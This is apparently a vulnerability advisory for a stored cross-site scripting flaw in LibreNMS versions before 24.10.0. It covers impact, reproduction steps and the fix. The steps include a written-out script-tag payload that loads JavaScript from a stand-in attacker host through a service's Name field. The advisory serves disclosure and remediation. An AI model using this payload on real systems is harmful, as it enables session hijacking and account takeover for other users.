Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the “Services” section of the Device Overview page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the name parameter when adding a service to a device. The injected script executes in other users’ sessions when they view the Services section.
Product
This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/includes/html/pages/device/overview/services.inc.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Create or edit a device using the Services section of the edit workflow (e.g.,
/device/15/edit/section=services). -
In the Name field, enter:
Name'"><script/src=//<attacker-url>></script> -
Save the service.
-
Navigate to the Overview page of that device and scroll to the Services section.
-
Observe that the external script hosted at
//<attacker-url>is loaded and executed.
Expected result:
The malicious script from //<attacker-url> runs in the Services section of the Device Overview page, demonstrating arbitrary JavaScript execution in the victim’s session.
Remediation
Fixed in LibreNMS 24.10.0 by HTML-encoding and escaping the name parameter in device/overview/services.inc.php, preventing unsanitized user input from being rendered.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
